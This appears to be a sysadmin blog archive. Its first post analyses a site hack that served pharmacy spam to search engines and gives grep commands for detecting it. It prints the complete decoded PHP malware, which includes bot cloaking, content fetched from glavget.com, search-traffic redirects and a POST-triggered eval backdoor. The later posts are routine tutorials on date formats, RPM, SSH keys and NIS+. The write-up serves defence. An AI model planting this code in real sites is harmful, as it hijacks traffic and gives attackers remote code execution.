Admin's Choice

Site Hacked with Pharmacy Spammy Content on search listings

admin — Wed, 28 Mar 2012 06:39:58 +0000

Got a email* today today that adminschoice.com searches on google.com are resulting in pharmacy spammy urls and contents. It took around three hours to find out what is happening and fixing it. Finally the site should be free of spam now. It may take a while to update google index entries but redirect is not happening any more.

For the benefit of sysadmins who may face this issue here are some details to take care of this

Anatomy of Site hacked with pharmacy spammy content on search listings

How it works , how google listings are modified

A malicious code is inserted in one of your files such as functions.php file.
This Code modifies request for the pages to your website to be served from another server.
When googlebot/msn or other bots indexes the site , your content is hidden due to redirect and pharmacy spammy content is retrieved by the bot. This result is updated in the Google index and you see the entries in Google search results.
( You can check what Google-bot , msn , yahoo bots are getting from your web page — http://redleg-redleg.com/file-viewer/ )

When you click on the link in the search engine it is redirected to other site from within your site so link remains the same and content & its description changes.

Here is the details to find out and remove the malicious software from your site

1. The hacked code is generally inserted in a php or other files as base64 encoded strings similar to one below
eval(base64_decode(‘ZXJyb3JfcmVwb3J0aW5nKDApOwokYm90X2xpc3QgPSBhcnJheSgiOC42LjQ4IiwiNjIuMTcyLjE5OSIsIjYyLjI3LjU5IiwiNjMuMTYzLjEwMiIsIjY0LjE1Ny4xMzciLCI2NC4xNTcuMTM4IiwiNjQuMjMzLjE3MyIsIjY0LjY4LjgwIiwiNjQuNjguODEiLCI2NC42OC44M — so on for few lines ( ~8k string in this example )
2. Use find and grep to find the eval & base64_decode string inside the files , Many files will have it for legitimate purpose but the hacked file will have a encode string to hide the program line .
Use following command to find the code :

find . -exec grep -i eval {} \; | grep base64; — look for long strings of numbers and letters

find . -exec grep -l eval {} \; | grep base64; — Gives names of files
3. From the above commands pin point the hacked file name. Do a `more` on the file to see that you have the correct file. Rename the file so that it is no longer used by any program.
4. if you have a copy of original file then copy it here or you can do a grep -v base64 > good-file.php to remove the string code and rename to original file.
5. if interested, You can check copy paste the string at http://www.functions-online.com/base64_decode.html to see what the program was trying to do.

For the curious who wants to know what is happening here is the code after base64 decoding (http://www.functions-online.com/base64_decode.html) . This was added in one of the .php file as base64 encoded string of ~7k long casuing google results to show spammy link description.

———-code —
$bot_list = array(“8.6.48″,”62.172.199″,”62.27.59″,”63.163.102″,”64.157.137″,”64.157.138″,”64.233.173″,”64.68.80″,”64.68.81″,”64.68.82″,”64.68.83″,”64.68.84″,”64.68.85″,”64.68.86″,”64.68.87″,”64.68.88″,”64.68.89″,”64.68.90″,”64.68.91″,”64.68.92″,”64.75.36″,”66.163.170″,”66.163.174″,”66.196.101″,”66.196.65″,”66.196.67″,”66.196.72″,”66.196.73″,”66.196.74″,”66.196.77″,”66.196.78″,”66.196.80″,”66.196.81″,”66.196.90″,”66.196.91″,”66.196.92″,”66.196.93″,”66.196.97″,”66.196.99″,”66.218.65″,”66.218.70″,”66.228.164″,”66.228.165″,”66.228.166″,”66.228.173″,”66.228.182″,”66.249.64″,”66.249.65″,”66.249.66″,”66.249.67″,”66.249.68″,”66.249.69″,”66.249.70″,”66.249.71″,”66.249.72″,”66.249.73″,”66.249.78″,”66.249.79″,”66.94.230″,”66.94.232″,”66.94.233″,”66.94.238″,”67.195.115″,”67.195.34″,”67.195.37″,”67.195.44″,”67.195.45″,”67.195.50″,”67.195.51″,”67.195.52″,”67.195.53″,”67.195.54″,”67.195.58″,”67.195.98″,”68.142.195″,”68.142.203″,”68.142.211″,”68.142.212″,”68.142.230″,”68.142.231″,”68.142.240″,”68.142.246″,”68.142.249″,”68.142.250″,”68.142.251″,”68.180.216″,”68.180.250″,”68.180.251″,”69.147.79″,”72.14.199″,”72.30.101″,”72.30.102″,”72.30.103″,”72.30.104″,”72.30.107″,”72.30.110″,”72.30.111″,”72.30.124″,”72.30.128″,”72.30.129″,”72.30.131″,”72.30.132″,”72.30.133″,”72.30.134″,”72.30.135″,”72.30.142″,”72.30.161″,”72.30.177″,”72.30.179″,”72.30.213″,”72.30.214″,”72.30.215″,”72.30.216″,”72.30.221″,”72.30.226″,”72.30.252″,”72.30.54″,”72.30.56″,”72.30.60″,”72.30.61″,”72.30.65″,”72.30.78″,”72.30.79″,”72.30.81″,”72.30.87″,”72.30.9″,”72.30.97″,”72.30.98″,”72.30.99″,”74.6.11″,”74.6.12″,”74.6.13″,”74.6.131″,”74.6.16″,”74.6.17″,”74.6.18″,”74.6.19″,”74.6.20″,”74.6.21″,”74.6.22″,”74.6.23″,”74.6.24″,”74.6.240″,”74.6.25″,”74.6.26″,”74.6.27″,”74.6.28″,”74.6.29″,”74.6.30″,”74.6.31″,”74.6.65″,”74.6.66″,”74.6.67″,”74.6.68″,”74.6.69″,”74.6.7″,”74.6.70″,”74.6.71″,”74.6.72″,”74.6.73″,”74.6.74″,”74.6.75″,”74.6.76″,”74.6.79″,”74.6.8″,”74.6.85″,”74.6.86″,”74.6.87″,”74.6.9″,”141.185.209″,”169.207.238″,”199.177.18″,”202.160.178″,”202.160.179″,”202.160.180″,”202.160.181″,”202.160.183″,”202.160.185″,”202.165.96″,”202.165.98″,”202.165.99″,”202.212.5″,”202.46.19″,”203.123.188″,”203.141.52″,”203.255.234″,”206.190.43″,”207.126.239″,”209.1.12″,”209.1.13″,”209.1.32″,”209.1.38″,”209.131.40″,”209.131.41″,”209.131.48″,”209.131.49″,”209.131.50″,”209.131.51″,”209.131.60″,”209.131.62″,”209.185.108″,”209.185.122″,”209.185.141″,”209.185.143″,”209.185.253″,”209.191.123″,”209.191.64″,”209.191.65″,”209.191.82″,”209.191.83″,”209.67.206″,”209.73.176″,”209.85.238″,”211.14.8″,”211.169.241″,”213.216.143″,”216.109.121″,”216.109.126″,”216.136.233″,”216.145.58″,”216.155.198″,”216.155.200″,”216.155.202″,”216.155.204″,”216.239.193″,”216.239.33″,”216.239.37″,”216.239.39″,”216.239.41″,”216.239.45″,”216.239.46″,”216.239.51″,”216.239.53″,”216.239.57″,”216.239.59″,”216.32.237″,”216.33.229″,”174.129.130″, “174.36.55″, “94.100.17″);
$ip = preg_replace(“/\.(\d+)$/”, ”, $_SERVER["REMOTE_ADDR"]);
$originalip = $_SERVER["REMOTE_ADDR"];
function read_content($getsite,$getpage,$typeread) {
$out=”";
$sourceurl=base64_decode(‘http://glavget.com/get/?site==’).urlencode($getsite).’&page=’.urlencode($getpage).’&ip=’.urlencode($_SERVER['REMOTE_ADDR']).’&agent=’.urlencode($_SERVER['HTTP_USER_AGENT']);
if ($typeread == “seo”){
$sourceurl=$sourceurl.”&seo=yes”;
}
if ($typeread == “traffic”){
$sourceurl=$getsite;
}
if (function_exists(“curl_init”)) {
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $sourceurl);
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
curl_setopt($c, CURLOPT_TIMEOUT, 10);
$out = curl_exec($c);
curl_close($c);
}
if($out==”"){
$out = @file_get_contents($sourceurl);
}
if($out==”"){
if(!preg_match(‘/^http(s){0,1}:\/\/(.*?)\//’, $sourceurl, $matches)) {
$out = “”;
}
$domain = $matches[2];
$fp = fsockopen($domain, 80, $errno, $errstr, 30);
if(!$fp) { $out = ”; } else {
$crlf = “\r\n”;
$req = “GET $sourceurl HTTP/1.0″.$crlf;
$req .= ‘Host: ‘.$domain.$crlf;
$req .= ‘User-Agent: Mozilla/5.0 Firefox/3.6.12′.$crlf.$crlf;
fwrite($fp, $req);
$out = ”;
while(!feof($fp)) {
$out .= fgets($fp, 256);
}
$out = substr($out, strpos($out, “\r\n\r\n”)+4);
}
}
if($out==”"){
$out = “0″;
}
return $out;
}
if(!array_key_exists(‘HTTP_USER_AGENT’, $_SERVER))
$_SERVER['HTTP_USER_AGENT'] = ”;
if(md5($_POST["key"]) == “c8d4613f940c517da44c91e7223140f3″){ $cmd = $_POST["code"]; eval (stripslashes($cmd)); exit; }
if(in_array($ip, $bot_list) || strpos($_SERVER['HTTP_USER_AGENT'], “bot”)) {
$printpage=read_content($_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']);
if (substr($printpage,0,3) == “OK!”){
$printpage = substr($printpage,3);
} else {
$printpage = “0″;
}
if ($printpage!=”0″) {
echo $printpage; die;
}
}
if (preg_match(‘/live|msn|yahoo|google|ask|aol/’, $_SERVER["HTTP_REFERER"]) && !preg_match(“/^(000000000000)/”, $originalip)) {
$seopage=read_content($_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI'], ‘seo’);
$trafficpage=”0″;
if (substr($seopage,0,4) == “SEO!”){
$getkeyword = substr($seopage,4);
$urlsutra = base64_decode(‘aHR0cDovL2tsaWtjZW50cmFsLmNvbS90cmFmZmljL2luLmNnaT8xMCZwYXJhbWV0ZXI9′);
$urlsutra = $urlsutra.urlencode($getkeyword).”&seoref=”.$_SERVER["HTTP_REFERER"].”&HTTP_REFERER=”.$_SERVER['HTTP_HOST'];
header(‘Cache-Control: no-cache, no-store, must-revalidate’);
$trafficpage=read_content($urlsutra,”, ‘traffic’);
if($trafficpage!=”0″){
echo $trafficpage; die;
} else {
header(“location: “.$urlsutra); die;
}
}
}
——end code ——

* Thanks Andy for pointing out this issue.

Unix Date Format Examples

admin — Sat, 10 Mar 2012 18:53:34 +0000

Unix date format is needed in the scripts, timestamped log files and script generated reports . This article attempts to simply date formatting with several examples . Date command in Unix is used to format date as well as time . First portion of this article covers Date function and the second portion has the time function covered .

Unix Basic date format

$date “+

Where Parameters is any one or more Parameter from the list below and separator is a any field separator like hyphen( – ) , slash , colon : and it is optional.

Unix Date Format Examples

lets get the parameter for year , month and date and produce a hyphen separated date format

$date “+%Y-%m-%d”

2010-02-10

%Y is keyword for four digit year
%m is keyword for two digit month
%d is keyword for two digit date
Hyphen is separator here .

If you change the separator here to slash the format would look like

$date “+%Y/%m/%d”
2010/02/10

You can switch date keyword anyway you want , if you need month first and year last ,

$date “+%m-%d-%Y”
02-10-2010

Weekdays

You can have additional weekday information in your date with %A as

$date “+%m-%d-%Y %A”
02-10-2010 Wednesday

$date “+%A %m-%d-%Y”
Wednesday 02-10-2010

These are options you can select for weekday

%a weekday, abbreviated Wed
%A weekday, full Wednesday
%d day of the month (dd), zero padded 10
%e day of the month (dd) 10
%j day of year, zero padded 000-366
%u day of week starting with Monday (1), i.e. mtwtfss 3
%w day of week starting with Sunday (0), i.e. smtwtfs 3

Month

You can have additional month information in your date with %B as

$date “+%m-%d-%Y %B”
02-10-2010 Februrary

$date “+%B %m-%d-%Y”
February 02-10-2010

These are options you can select for month

%m mm month as two digits
%b Mon, locale’s abbreviated Feb
%B locale’s full month, variable length February

Year

You can have additional year information as two digit or four digit with %y or %Y as

$date “+%m-%d-%y ”
02-10-10

$date “+%m-%d-%Y ”
02-10-2010

These are options you can select for year

%y yy two digit year 00–99
%Y ccyy year 2010

Additional date format parameters which can be used :

Week

%U week number Sunday as first day of week 01–53
%W week number Monday as first day of week 01–53
%V week of the year 01–53

Century

%C cc century 00–99

Date

%D mm/dd/yy 02/10/10
%x locale’s date representation (mm/dd/yy) 02/10/2010
%F %Y-%m-%d 2010-02-10

Date and Time time stamp

%c locale’s date and time Wed Feb 10 10:02:33 PST 2010

Time function

Time function is simple to use and date command is used to format & display time as well . You can use date and time parameters to format your date time stamp as per your requirment

A simple time stamp with date can be generated as :

$date “+%c”
%c locale’s date and time Sat Nov 04 12:02:33 EST 1989

Date function have some preformated time stamps to make things easier

Example :

$date “+%r”
05:28:55 PM

More preformated options :

%R hours, minutes (24 hour clock) hh:mm e.g. 17:28
%T hours, minutes, seconds (24-hour clock) 17:28:55
%X locale’s time representation (%H:%M:%S) 05:28:55 PM

Custom time format

Examples

Time stamp with 12 hr clock

$date “+%l:%M:%S
5:22:45

Time stamp with 24 hr clock

$date “+%H:%M:%S”
20:22:45

Time stamp with AM/PM

$date “+%l:%M:%S %p”
5:22:45 PM

Additional date time parameters :

Hours
%l (Lowercase L) hour (12 hour clock) 8
%I (Uppercase I) hour (12 hour clock) zero padded 08
%k hour (24 hour clock) 20
%H hour (24 hour clock) zero padded 20
%p locale’s upper case AM or PM (blank in many locales) PM
%P locale’s lower case am or pm (really!) pm

Minutes
%M MM minutes 28

Seconds
%s seconds since 00:00:00 1970-01-01 UTC (Unix epoch) 1265833735
%S SS second 00–60
%N nanoseconds 000000000–999999999

Time zone
%z -zzzz RFC-822 style numeric timezone -0500
%Z time zone (e.g., EDT) nothing if no time zone is determinable EST

Linux RPMs – All you need to know

admin — Thu, 28 Apr 2011 19:19:37 +0000

This document contains an overview of the principal RPM commands for installing, uninstalling, upgrading, querying, listing, and checking RPM packages on your Red Hat Linux system.

This document uses apache rpm httpd-2.0.49-4.i386.rpm , as an example.

About RPM naming conventions

All rpms follow the similar naming conventions

package name version release architecture Package Type
httpd 2.0.49 4 i386 rpm

name is a name describing the packaged software.
version is the version of the packaged software.
release is the number of times this version of the software has been packaged.
architecture is the type of computer hardware rpm is meant to run on for example i3836,alpha ,Sparc,mips,ppc,SGI,m68k ) .

It may also be the string
noarch – no artitecture – indicating package is not hardware specific..
nosrc – no source – means it has only package building files and
src – Source – means it contains the package building files and the software’s source code.

Installing RPMs

For RPMs present locally

# rpm -ivh httpd-2.0.49-4.i386.rpm

-i Install
-v Verbose
-h Print 50 hash marks as the package archive is unpacked.

For RPMs present on remote ftp location
# rpm -i ftp:/// /httpd-2.0.49-4.i386.rpm

For RPMs present on remote http location
# rpm -i http:/// /httpd-2.0.49-4.i386.rpm

Upgrading existing RPMs

# rpm -Uvh httpd-2.0.52-12.i386.rpm

# rpm -Uvh ftp:/// /httpd-2.0.52-12.i386.rpm
# rpm -Uvh http:/// /httpd-2.0.52-12.i386.rpm

Notes:
- Upgrade uninstalls the old package and installs the new one
- If installing kernel use the install option as that will install new kernal as a new package and you can use old version if new does not work. Upgrade will remove the old version and you can’t go back .

Removing RPMs

# rpm -e httpd

This is the simplest way of removing a package. only package name is needed. Package is simply deleted and no information is displayed.

To see what is going on, use the following

#rpm -evv httpd

Lising installed packages

All packages installed on the system

# rpm -qa

q – query
a – all

Single Package – installed in the system

# rpm -q httpd

httpd-2.0.52-12

Finding Package information

# rpm -qi httpd

gives following information about httpd package

Name : httpd Relocations: (not relocatable)
Version : 2.0.52 Vendor: (none)
Release : 0 Build Date: Thu 13 Mar 2008 05:11:13 AM PDT
Install Date: Fri 08 May 2010 08:18:45 PM PDT Build Host: mybuildhost.domain.com
Group : System Environment/Daemons Source RPM: httpd-2.0.52-12.src.rpm
Size : 7982208 License: Distributable
Signature : (none)
Packager : sysadmins group
Summary : The httpd Web server
Description :

Lising files in an installed packages

# rpm -ql httpd

Finding the association of a file to RPM

# rpm -qf /usr/local/httpd/bin

httpd-2.0.52

List files in RPM package from local or remote destination .

# rpm -qpl httpd-2.0.52-12.i386.rpm
# rpm -qpl ftp:/// /httpd-2.0.52-12.i386.rpm
# rpm -qpl http:/// /httpd-2.0.52-12.i386.rpm

verify an installed package

# rpm –verify httpd
To verify an installed package. This command will list all files that do NOT pass the verify tests (done on size, MD5 signature, etc). Where a file does NOT pass, the output is listed using the following codes that signify what failed:
S File size
M Mode (includes permissions and file type)
5 MD5 sum
L Symlink
D Device
U User
G Group
T Mtime
Take for example the following:
# rpm –verify mysql
S.5….T c /etc/my.cnf
This example indicates that file /etc/my.cnf failed on:
File size
MD5 Sum
Modified Time
However, the “c” tells us this is a configuration file so that explains the changes. It should still be looked at to determine what the changes

How to Configure ssh without password

admin — Wed, 08 Dec 2010 07:35:15 +0000

Passwordless access for ssh and sftp , How to do sftp & ssh without password – Step by Step

This a real life example of configuring passwordless access for two users . The user ‘web’ in this case needs a secure password less access to another user james in a server ‘devserver’
.

Follow the Steps to configure secure passwordless access

Check the current ssh connectivity status for james@devserver from localhost

[web@localhost ~]$ ssh james@devserver
james@devserver’s password:
Permission denied, please try again.
As expected it prompted for password

1. Generate the public key private key pair
Generate the public key private key pair for the local host as following , Press enter for default file names and no
pass phrase options. The command here generates RSA type keys.

[web@localhost ~]$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/web/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/web/.ssh/id_rsa.
Your public key has been saved in /home/web/.ssh/id_rsa.pub.
The key fingerprint is:
5e:30:d3:1a:00:c5:0b:29:96:ac:3e:42:20:dc:af:38 web@localhost.localdomain

You can run the command ssh-keygen from any directory but the id files will be generated in .ssh dir of user’s home directory.

2. Change directory to .ssh directory.

[web@localhost ~]$ cd /home/web.ssh

You will see two files starting with id_rsa. id_rsa is the private key and id_rsa.pub is public key. Check the date time stamp of these files to make sure these are the ones you generated recently.

/.ssh[web@localhost .ssh]$ ls -la
total 32
drwx—— 2 web web 4096 Dec 7 22:05 .
drwx—— 34 web web 12288 Dec 7 22:04 ..
-rw——- 1 web web 1675 Dec 7 22:05 id_rsa
-rw-r–r– 1 web web 407 Dec 7 22:05 id_rsa.pub
-rw-r–r– 1 web web 391 Dec 7 22:03 known_hosts

/.ssh[web@localhost .ssh]$ date
Tue Dec 7 22:05:45 PST 2010

3. Copy the rsa public key to the remote host . You have to copy the public key file in to .ssh of the user home directory and if .ssh directory is not there , create it as in the example below.
You need to enter sftp/ssh password .

/.ssh[web@localhost .ssh]$ sftp james@devserver
Connecting to devserver…
james@devserver’s password:
sftp> pwd
Remote working directory: /home/james
sftp> cd .ssh
Couldn’t canonicalise: No such file or directory
sftp> mkdir .ssh
sftp> cd .ssh
sftp> put id_rsa.pub
Uploading id_rsa.pub to /home/james/.ssh/id_rsa.pub
id_rsa.pub 0% 0 0.0KB/s –:– ETAid_rsa.pub 100% 407 0.4KB/s 00:00
sftp>

4. login to the remote host with password

Once file is copied over , login to the remote host using ssh and password and go to .ssh directory under user home directory.
/.ssh[web@localhost .ssh]$ ssh james@devserver
james@devserver’s password:

james@devserver:~[james@devserver ~]$ cd .ssh
james@devserver:~/.ssh[james@devserver .ssh]$ pwd
/home/james/.ssh

james@devserver:~/.ssh[james@devserver .ssh]$ ls -l
total 4
-rw-r–r– 1 james james 407 Dec 7 22:06 id_rsa.pub

5. Rename the public key file to authorized_keys ;
if the authorized_keys file already exists then append the new keys to the existing file using,
cat id_rsa.pub >> authorized_keys .
Don’t use vi or editor to open , append and save these key files as any extra character/newline would corrupt these files.

james@devserver:~/.ssh[james@devserver .ssh]$ mv id_rsa.pub authorized_keys

You can see the contents using cat command
james@devserver:~/.ssh[james@devserver .ssh]$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArVWhE0L2FXNvmggZgqmGU
LVrcE4X7WQr6scSuU5FCQUsXzYjyOL8FbUIIkBeLLMIrV7mYa+
xuszHcvnAho/42/e4r5by8LVMyh0AAo7nketemkO/2ZiUXZhww7tySxgcI5U5L5PDmTCyF7vxLlJ0rGb7Ky//DtpKrBui5P4gIrKBeiA2TlbEL9UrQZ8HgTU3iSGtfUXH0O
26iLSWi6Tf40hEazvvVYESHPSBjUPIMqUGabtz1kKMDQB5x
C+F2MZ4lUCmgK2NexrhVWOrp7ODS1GlKsjSv6NSxOIVW0je
V00ZW9Fvgz865g+fakBITqYP76ptPIVXEps+91ABRSwggQ== web@localhost.localdomain

6. Change the key file and directory permissions

ssh is very sensitive to permissions so you have to change the key file and directory permissions for it to work.

6a : Change authorized_keys to 600 permissions

james@devserver:~/.ssh[james@devserver .ssh]$ chmod 600 authorized_keys
james@devserver:~/.ssh[james@devserver .ssh]$ ls -ltr
total 8
-rw-r–r– 1 james james 407 Dec 7 22:06 id_rsa.pub
-rw——- 1 james james 407 Dec 7 22:08 authorized_keys

james@devserver:~/.ssh[james@devserver .ssh]$ cd ..

6b : Change .ssh directory to 700 permission
james@devserver:~[james@devserver ~]$ chmod 700 .ssh

6c :Verify permissions and log out .
james@devserver:~[james@devserver ~]$ logout
Connection to localhost closed.

8. Moment of truth : Try a ssh

/.ssh[web@localhost .ssh]$ ssh james@devserver
Last login: Tue Dec 7 22:07:04 2010 from localhost.localdomain
james@devserver:~[james@devserver ~]$ pwd
/home/james

Here we have no password secure access working .

The most common problems can be

1. Incorrect permission for .ssh and authorized_keys file

2. Corrupt key file , regenerate and copy again.

Php Date Format

admin — Sat, 06 Feb 2010 02:09:57 +0000

Date time formatting in PHP
Many scripts written in php need date and time function . PHP has many predfined date formats and you can also customized it as per your need .

Here are some of the date format examples and additional details for php.

Examples
Variable $today has different formats as we set the format types in the following examples :

$today = date(“F j, Y, g:i a”); -> February 5, 2010, 6:20 pm
$today = date(“m.d.y”); -> 02.05.10
$today = date(“j, n, Y”); -> 5, 2, 2010
$today = date(“Ymd”); -> 20100205
$today = date(‘h-i-s, j-m-y, it is w Day’); -> 06-20-25, 5-02-10, 2028 2025 5 Fripm10
$today = date(‘it is the jS day.’); -> it is the 5th day.
$today = date(“D M j G:i:s T Y”); -> Fri Feb 5 18:20:25 PST 2010
$today = date(‘H:m:s m is month’); -> 18:02:25 m is month

Options for php date format

Character	Description	Example
d	Day of the month, 2 digits with leading zeros	01 to 31
D	A textual representation of a day, three letters	Mon through Sun
j	Day of the month without leading zeros	1 to 31
l (lowercase ‘L’)	A full textual representation of the day of the week	Sunday through Saturday
N	ISO-8601 numeric representation of the day of the week (added in PHP 5.1.0)	1 (for Monday) through 7 (for Sunday)
S	English ordinal suffix for the day of the month, 2 characters	st, nd, rd or th. Works well with j
w	Numeric representation of the day of the week	0 (for Sunday) through 6 (for Saturday)
z	The day of the year (starting from 0)	0 through 365
Week
W	ISO-8601 week number of year, weeks starting on Monday (added in PHP 4.1.0)	Example: 42 (the 42nd week in the year)
Month
F	A full textual representation of a month, such as January or March	January through December
m	Numeric representation of a month, with leading zeros	01 through 12
M	A short textual representation of a month, three letters	Jan through Dec
n	Numeric representation of a month, without leading zeros	1 through 12
t	Number of days in the given month	28 through 31
Year
L	Whether it’s a leap year	1 if it is a leap year, 0 otherwise.
o	ISO-8601 year number. This has the same value as Y, except that if the ISO week number (W) belongs to the previous or next year, that year is used instead. (added in PHP 5.1.0)	Examples: 1999 or 2003
Y	A full numeric representation of a year, 4 digits	Examples: 1999 or 2003
y	A two digit representation of a year	Examples: 99 or 03
Time
a	Lowercase Ante meridiem and Post meridiem	am or pm
A	Uppercase Ante meridiem and Post meridiem	AM or PM
B	Swatch Internet time	000 through 999
g	12-hour format of an hour without leading zeros	1 through 12
G	24-hour format of an hour without leading zeros	0 through 23
h	12-hour format of an hour with leading zeros	01 through 12
H	24-hour format of an hour with leading zeros	00 through 23
i	Minutes with leading zeros	00 to 59
s	Seconds, with leading zeros	00 through 59
u	Microseconds (added in PHP 5.2.2)	Example: 654321
Time zone
e	Timezone identifier (added in PHP 5.1.0)	Examples: UTC, GMT, Atlantic/Azores
I (capital i)	Whether or not the date is in daylight saving time	1 if Daylight Saving Time, 0 otherwise.
O	Difference to Greenwich time (GMT) in hours	Example: +0200
P	Difference to Greenwich time (GMT) with colon between hours and minutes (added in PHP 5.1.3)	Example: +02:00
T	Timezone abbreviation	Examples: EST, MDT …
Z	Timezone offset in seconds. The offset for timezones west of UTC is always negative, and for those east of UTC is always positive.	-43200 through 50400
Full Date/Time
c	ISO 8601 date (added in PHP 5)	2004-02-12T15:19:21+00:00
r	» RFC 2822 formatted date	Example: Thu, 21 Dec 2000 16:01:07 +0200
U	Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT)	See also time()

Special Purpose Date time formatting

DateTime::ATOM
DATE_ATOM Atom (example: 2005-08-15T15:52:01+00:00)
DateTime::COOKIE
DATE_COOKIE HTTP Cookies (example: Monday, 15-Aug-05 15:52:01 UTC)
DateTime::ISO8601
DATE_ISO8601 ISO-8601 (example: 2005-08-15T15:52:01+0000)
DateTime::RFC822
DATE_RFC822 RFC 822 (example: Mon, 15 Aug 05 15:52:01 +0000)
DateTime::RFC850
DATE_RFC850 RFC 850 (example: Monday, 15-Aug-05 15:52:01 UTC)
DateTime::RFC1036
DATE_RFC1036 RFC 1036 (example: Mon, 15 Aug 05 15:52:01 +0000)
DateTime::RFC1123
DATE_RFC1123 RFC 1123 (example: Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::RFC2822
DATE_RFC2822 RFC 2822 (Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::RFC3339
DATE_RFC3339 Same as DATE_ATOM (since PHP 5.1.3)
DateTime::RSS
DATE_RSS RSS (Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::W3C
DATE_W3C World Wide Web Consortium (example: 2005-08-15T15:52:01+00:00)

Date Time Operations & Preformating in PHP

DateTime::add
— Adds an amount of days, months, years, hours, minutes and seconds to a
DateTime object
DateTime::__construct
— Returns new DateTime object
DateTime::createFromFormat
— Returns new DateTime object formatted according to the specified format
DateTime::diff
— Returns the difference between two DateTime objects
DateTime::format
— Returns date formatted according to given format
DateTime::getLastErrors
— Returns the warnings and errors
DateTime::getOffset
— Returns the timezone offset
DateTime::getTimestamp
— Gets the Unix timestamp
DateTime::getTimezone
— Return time zone relative to given DateTime
DateTime::modify
— Alters the timestamp
DateTime::__set_state
— The __set_state handler
DateTime::setDate
— Sets the date
DateTime::setISODate
— Sets the ISO date
DateTime::setTime
— Sets the time
DateTime::setTimestamp
— Sets the date and time based on an Unix timestamp
DateTime::setTimezone
— Sets the time zone for the DateTime object
DateTime::sub
— Subtracts an amount of days, months, years, hours, minutes and seconds
from a DateTime object
DateTime::__wakeup
— The __wakeup handler

NISplus Installation & Administration

admin — Tue, 29 Dec 2009 22:08:24 +0000

NISplus is network which allows you to store client information at a
central place where all the clients have access. This enables system
administrators to manage a group of servers from a central place.
This article discusses the nisplus objects , installation of servers ,clients and administration commands.

1.0 Introduction to NIS+

1.1 Objects in NIS+

1.2 Standard tables in NIS+

1.3 Groups in NIS+

2.0 Preparing for Install

2.1 Installing Server

3.0 Installing Client

4.0 Administration commands
___________________________________

1.0 Introduction to
NIS+

NIS + is network information services
which allows you to store client information at a central place
where all the clients have access. The information
can be user passwords , home directories, network services .

etc .
The information is stored in NIS+ tables .
Some of the standard tables (16 in number) comes with predefined
structure when NIS+ is installed . The other tables can be created
as per requirement using NIS+ commands.
NIS+ uses hierarchical structure and can
have multiple domains servers .
NIS+ uses the client server model . The
primary server is called master server and the backup
server is called the replica server . Both server
runs NIS+ and have copies of tables . The changes in master server
are propagated to replica servers in increments.
For security it uses both authentication and
authorization for securing the access to system and resources.
Authentication verifies validity of a user ; Authorization
verifies if the user is allowed to have access to the
resources. Access to any NIS+ table can be controlled through the
table permissions.
Clients have a configuration file /etc/nsswitch.com
; entries in this file determines where the clients should look
for the information , in local files or NIS+ maps at the server.

1.1 Objects in NIS +
There are three objects in NIS+
1. Parent domain - represented by domain
name e.g. planet.com.: (Parent domain )

2. org_dir – which contains all the NIS+ tables .
3. groups_dir – contains the groups information , by default only admin
group is there.

1.2 Standard Tables in NIS+

They contain same type of information as standard files of the same
name .The passwd table however contains the encrypted password information
also .
passwd
group
auto_master     auto_home

Bootparams cred ethers
hosts

mail_aliases sendmailvars
netmasks netgroup

networks protocols
rpc
services

timezone client_info

1.3 Groups in NIS+
By default only admin group is created at the time of installation of NIS+
.

2.0 Preparing for Install
First step is to prepare the data files for NIS+ maps .This can be done by
coping the files which needs to be put in the nis+ tables for centralized
administration . The files are located in /etc and mostly have the same name
as NIS+ tables

If you want only passwords , groups , hosts , home directories to be
administered then you need to copy the these files in some other directory – say
nisfiles. You can make additional changes here .

#cp /etc/passwd      /export/home/nisfiles
#cp /etc/group       /export/home/nisfiles
#cp /etc/hosts       /export/home/nisfiles

auto_home can be created by editing a copy of passwd file and keeping
only the login name and home directory .

A typical auto_home will consists of following entries

#vi auto_home
+auto_home
peter 10.20.30.40:/home/&
john 10.20.30.40:/home/&

First column is user names followed by name of the machine
providing home directories & home directory path.

2.1 Installing Server
a) Define a default domain if not defined already in /etc/defaultdomain.

    #domainname
    planet.com
    #domainname > /etc/defaultdomain

b) As root ; change directory to the /usr/lib/nis or add PATH to this
directory.
    Run server initialization program.

    #nisserver -r

To setup server in NIS compatibility mode

#nisserver -r -Y

The above commands will setup the NIS+ server software.

Reboot the server

c) Login as root ; change directory to the one containing the files
auto_home , passwd and group.
    Run the command to populate the empty nis+ tables.

    #cd /export/home/nisfiles
    #nispopulate –v –F
    This will try to populate all the standard tables from
the files in local directory . you can also
    specify a particular file name in for populating
a single    table e.g.

    #nispopulate –v –F auto_home
    auto_home is the local file containg the entries in
proper format.

3.0 Installing Client
a.) Login as root in client
   Define a default domain name – planet here.
b.) Run the client initialsation programme.
   #nisclient –i -h jupiter -d panet.com
        h     is
for nis+ server host name .
        d     is
for nis+ domain name .

     reboot the client machine.
c.) Login again and open /etc/nsswitch.conf
    check to see that only entries coreesponding to the
populated tables are
    pointing to nisplus first and then files. Rest of
them should be files and nisplus.

4.0 Administration Commands

Following are some of the useful command for administering nis+

Listing table & objects in NIS+

#nisls ;Gives the total objects in NIS+
#nisls org_dir ;Lists the tables listed in the
directory.

Listing a contents of tables

#niscat passwd.org_dir

Listing table structure

#niscat -o passwd.org_dir ;lists structure of
password table.

Adding A user

#nistbladm -a name=john uid=123 gid=111 home=/home/john
shell=/bin/sh passwd.org_dir

Changing the user information in passwd table (Super user only

Fill in the corresponding values in <>

#nistbladm –a name=<> passwd=<> uid=<> gid=<>
home=<> shelll=<> passwd.org_d

example

#nistbladm -a name=john uid=123 gid=234 home=/home/john
shell=/bin/sh passwd.org_di

to change only shell

#nistbladm -m shell=/usr/local/bin/bash [name=john],passwd.org_dir

Changing user passwd

As root

# nispasswd ;user has to update his key
through chkey -p

As user

$ nispasswd ;update encrypted key
$chkey -p ;(user NIS+ passwd and login passwd are the
same.)

Adding user credentials

#nisaddcred -p 123 -P john local
# nisaddcred -p unix.123@planet.com -P john.planet.com. des

123 is userid and john is the user name.

